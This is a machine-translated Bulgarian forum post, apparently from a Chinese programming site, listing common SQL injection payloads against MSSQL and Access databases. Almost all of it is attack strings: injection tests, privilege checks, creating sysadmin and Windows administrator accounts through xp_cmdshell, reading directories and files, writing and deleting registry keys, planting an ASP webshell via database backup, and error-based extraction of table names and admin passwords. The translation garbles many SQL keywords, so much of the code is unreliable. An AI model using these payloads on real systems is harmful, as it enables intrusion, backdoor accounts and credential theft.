Тази статия е огледална статия за машинен превод, моля, кликнете тук, за да преминете към оригиналната статия.

Изглед: 14167|Отговор: 0

[Безопасна комуникация] Общи SQL инжекционни оператори

[Копирай линк]
Публикувано в 22.11.2014 г. 17:17:21 ч. | | |
1. Да се определи дали има инжекция
; и 1=1
; и 1=2

2. Предварително решение дали е mssql
; и потребител>0

3. Оценете системата с бази данни
; и (select count(*) от sysobjects)>0 mssql
; и (select count(*) от msysobjects)>0 достъп

4. Параметърът за инжекция е символ
'и [критерии за заявка] и ''='

5. Няма филтрирани параметри по време на търсенето
'и [критерии за заявка] и '%25'='

6. Познай името на масата
; и (изберете Count(*) от [име на таблица])>0

7. Познай полето
; и (изберете Count(име на полето) от името на таблицата)>0

8. Познайте дължината на рекорда в полето
; и (изберете топ 1 len (име на полето) от името на таблицата)>0

9. (1) Познайте ASCII стойността на полето (достъп)
; и (избери топ 1 ASC (среден (име на полето, 1,1)) от името на таблицата)>0

(2) Познайте ASCII стойността на полето (mssql)
; и (изберете топ 1 Unicode(substring(име на полето, 1,1)) от името на таблицата)>0

10. Структура за тестови разрешения (mssql)
; и 1=(select IS_SRVROLEMEMBER('sysadmin')); --
; и 1=(изберете IS_SRVROLEMEMBER('serveradmin')); --
; и 1=(select IS_SRVROLEMEMBER('setupadmin')); --
; и 1=(изберете IS_SRVROLEMEMBER('securityadmin')); --
; и 1=(изберете IS_SRVROLEMEMBER('diskadmin')); --
; и 1=(select IS_SRVROLEMEMBER('bulkadmin')); --
; и 1=(select IS_MEMBER('db_owner')); --

11. Добавете акаунт за mssql и системата
; изпълнителен master.dbo.sp_addlogin потребителско име; --
; exec master.dbo.sp_password null, потребителско име, парола; --
; изпълнителен master.dbo.sp_addsrvrolemember sysadmin потребителско име; --
; изпълнител master.dbo.xp_cmdshell 'Net User Username password /Workstations:* /Times:All /passwordchg:yes /passwordreq:yes /active:yes /add'; --
; Изпълнителен master.dbo.xp_cmdshell 'Net User Name Password /add'; --
; изпълнителен master.dbo.xp_cmdshell 'потребителско име /add' на администраторите на локалните групи; --

12. (1) Разгледайте каталога
; Create Table Dirs(Paths varchar(100), ID int)
; Вмъкнете директори exec master.dbo.xp_dirtree 'c:\'
; и (изберете топ 1 пътя от директорите)>0
; и (изберете топ 1 пътя от директорите, където пътищата не са в ('пътища, получени от предишната стъпка'))>)

(2) Разгледайте каталога
; create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; вмъкнете временен изпълнителен master.dbo.xp_availablemedia; -- Вземи всички текущи дискове
; Вмъкнете в temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Вземи списък с поддиректории
; вмъкнете в temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Вземи структурата на дървото на директорията за всички поддиректории
; Вмъкнете в temp(id) exec master.dbo.xp_cmdshell 'тип C:\web\index.asp'; -- Вижте съдържанието на файла

13. Съхранени процедури в mssql
xp_regenumvalues Коренов ключ на регистъра, дъщерен ключ
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' връща всички ключови стойности в няколко набора от записи
xp_regread Коренов ключ, дъщерен ключ, име на стойността на ключа
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' връща стойността на зададения ключ
xp_regwrite Коренов ключ, детски ключ, име на стойност, тип стойност, стойност
Съществуват два типа стойности REG_SZ REG_DWORD за типове знаци и за цели числа
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz', 'hello' към регистъра
xp_regdeletevalue Коренов ключ, подключ, име на стойността
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName', за да премахне стойност
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' за премахване на ключа, включително всички стойности под този ключ

14. MSSQL архивиране създава уебшел.
Модел на използване
създаване на таблица cmd (STR изображение);
вмъкнете в cmd(str) стойности ('<% Dim oScript %>');
резервен модел на база данни към disk='c:\l.asp';

15. MSSQL вградени функции
; и (изберете @@version)>0, за да получите номера на версията на Windows
; и user_name()='dbo', за да се определи дали свързаният потребител на текущата система е SA
; и (изберете user_name())>0 Експлодираха свързаните потребители на текущата система
; и (изберете db_name())>0, за да получите текущо свързаната база данни



MSSQL нарушение на ръчно анотирана база данни

1. Разкрийте текущото име на таблицата и името на колоната
Изпратете "'having 1=1--" след точката на инжектиране, за да получите обратното съобщение на английски, в което можете да видите име на таблица и име на колона. Изпратете "група по името на списъка с 1=1--", за да получите друго име на колона; Продължете да подавате "група по списък с откритата таблица, името на изложената таблица". Името на втората колона има 1=1--", което ви дава друго име на колона. Потвърдете по същия начин, докато страницата вече не връща съобщения за грешка, за да получите всички имена на колони. Любопитни факти: Violent Table Names и колони се използват в комбинация с GROUP BY в SQL оператори за условни преценки. Тъй като операторът е непълен, базата данни връща съобщение за грешка и показва име на таблица и име на колона. Основният метод може да изложи само текущата таблица в базата данни, а ако таблицата съдържа много имена на колони, е много трудно да се използва основният метод.

Първо. Всички имена на бази данни са изложени
Използвайте израза "and 0<>(select count(*) от master.dbo.sysdatabases, където name>1 и dbid=[N])" за да разкриете произволни имена на таблици и колони в базата данни, където "[N]" представлява N-тата таблица в базата данни.
Стъпка 1: След инжектиране на точката, изпратете следното твърдение: "and 0<>(select count(*) от master.dbo.sysdatabases, където name>1 и dbid=12)", защото стойността на dbid е от 1 до 5, която се използва от системата, така че потребителят трябва да го е изградил от 6 и ние сме въвели името>1, полето с име е поле с тип символ и сравнението на числата ще бъде грешно, затова след подаване IE ще върне следната информация: "Microsoft OLE DB Provider for ODBC Drivers error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] преобразува nvarchar стойността 'Northwind' в тип данни int колона. По този начин стойността на полето с име се разкрива, тоест получаваме име на база данни "Northwind". Промяната на стойността на "dbid" може да получи всички имена на базата данни.

и 0<>(select count(*) от master.dbo.sysdatabases, където name>1 и dbid=[N])-- Модифицирай N, за да експлодира всички имена на бази данни от 6


Второ. Експонирайте всички имена на таблици в посочената база данни
След като получите името на базата данни, сега трябва да съберете всички имена на таблици в библиотеката, да въведете следното изявление: "and 0<>(изберете име на топ 1 от master.dbo.sysobjects, където xtype='U')", ето името на таблицата в основната база данни, а SQL операторът на заявката връща стойността на името и след това го сравни с числото 0, така че стойността на името ще бъде разкрита. След подаването, името на масата беше "'spt_monito" беше разкрито.
След това се разкриват останалите таблици и се подава следното твърдение: "and 0<>(изберете топ 1 име от master.dbo.sysobjects, където xtype='U' и име не е в ('spt_monito')))", и се разкрива друга таблица с име "cd512". Файл "и името не е в(' spt_monito',' CD512',..))" Можете да намерите всички имена на маси.

и 0<>(изберете име на топ 1 от [посочете име на база данни].dbo.sysobjects, където xtype='U')--
и 0<>(изберете име на топ 1 от [посочете име на база данни].dbo.sysobjects, където xtype='U' и име не е в ('[Exploed table name]'))--
и 0<>(изберете име на топ 1 от [посочете име на база данни].dbo.sysobjects, където xtype='U' и име не е в ('[Име на експлозивна таблица]', '[Експлодирано име на втора таблица]')))--

4. Изложете всички имена на колони в посочената таблица
и 0<>(изберете count(*) от bbs.dbo.sysobjects, където xtype='U' и name='admin' и uid>(str(id)))
Конвертирайте ID стойността в тип знак и след това я сравнете с цяло число. Идентификационният номер е излязъл. Стойността е: 949578421 name='име на таблица'

и 0<>(изберете име на топ 1 от wutong.dbo.syscolumns, където id=949578421)-- Име на поле в администраторската таблица се разкрива

Повторно подадете и 0<>(изберете топ 1 име от wutong.dbo.syscolumns, където id=949578421 и име не е в('adduser')))--
Файл "и името не е в(' spt_monito',' CD512',..))" Можете да намерите всички имена на полета в административната таблица.


и 0<>(select count(*) от [посочи име на база данни].dbo.sysobjects, където xtype='U' и name='[Име на полето, което трябва да се експлодира]' и uid>(str(id)))--ID стойността на името на таблицата на полето, което трябва да бъде експлодирано

и 0<>(изберете име на топ 1 от [посочете име на база данни].dbo.syscolumns, където id=експлодирана id стойност)-- Името на поле в таблицата с експлодиращи id стойности

и 0<>(изберете име на топ 1 от [посочи име на база данни].dbo.syscolumns, където id=Експлозивна id стойност и име не е в('[Exploed field name]')))--



5. Прочетете данните в посочената таблица

и 0<(изберете A_ID от wutong.dbo.admin, където A_UserID>1) – съдържанието, което прекъсна A_PWD

и 0<(изберете [поле, което съществува] от [посочи име на база данни].dbo.[име на таблица за заявка] където [име на поле за експлозия съдържание]>1)--

и 0<(изберете A_ID от wutong.dbo.admin, където A_PWD>1 и A_UserID='admin')-- Паролата на администратора е разкрита


и 0<(Изберете Top 1 A_UserID FROM admin, където A_ID<>1)-- Администраторското име id<>1 (fuhao)

и 0<(Изберете Топ 1 A_UserID ОТ admin, където A_ID <>1 и A_UserID <> 'fuhao') – името на втория администратор не <> равно на (tuiguang)

и 0<(Изберете Топ 1 A_UserID ОТ админ, където A_ID <>1 и A_UserID <> 'fuhao' и A_UserID <> 'tuiguang')--

След като знаете името на таблицата и колоната на базата данни, можете да използвате "заявка" за четене на всяка информация в базата. Например, ако искате да прочетете N-тите данни в колона в таблица, можете да подадете изявлението: "и (Изберете име на колона ОТ името на таблицата в горната 1 колона, където id=[N])>1" ([N] представлява N-тия данни в колоната), и можете да знаете желаните данни от информацията, върната от IE.






Предишен:Как да скрия компресиран rar файл в jpg файл
Следващ:Събери "Хари Потър" 1~7 Извади го и го сподели Ако не ти харесва, не го пръскай
Отричане:
Целият софтуер, програмни материали или статии, публикувани от Code Farmer Network, са само за учебни и изследователски цели; Горното съдържание не трябва да се използва за търговски или незаконни цели, в противен случай потребителите ще понесат всички последствия. Информацията на този сайт идва от интернет, а споровете за авторски права нямат нищо общо с този сайт. Трябва напълно да изтриете горното съдържание от компютъра си в рамките на 24 часа след изтеглянето. Ако ви харесва програмата, моля, подкрепете оригинален софтуер, купете регистрация и получете по-добри услуги. Ако има нарушение, моля, свържете се с нас по имейл.

Mail To:help@itsvse.com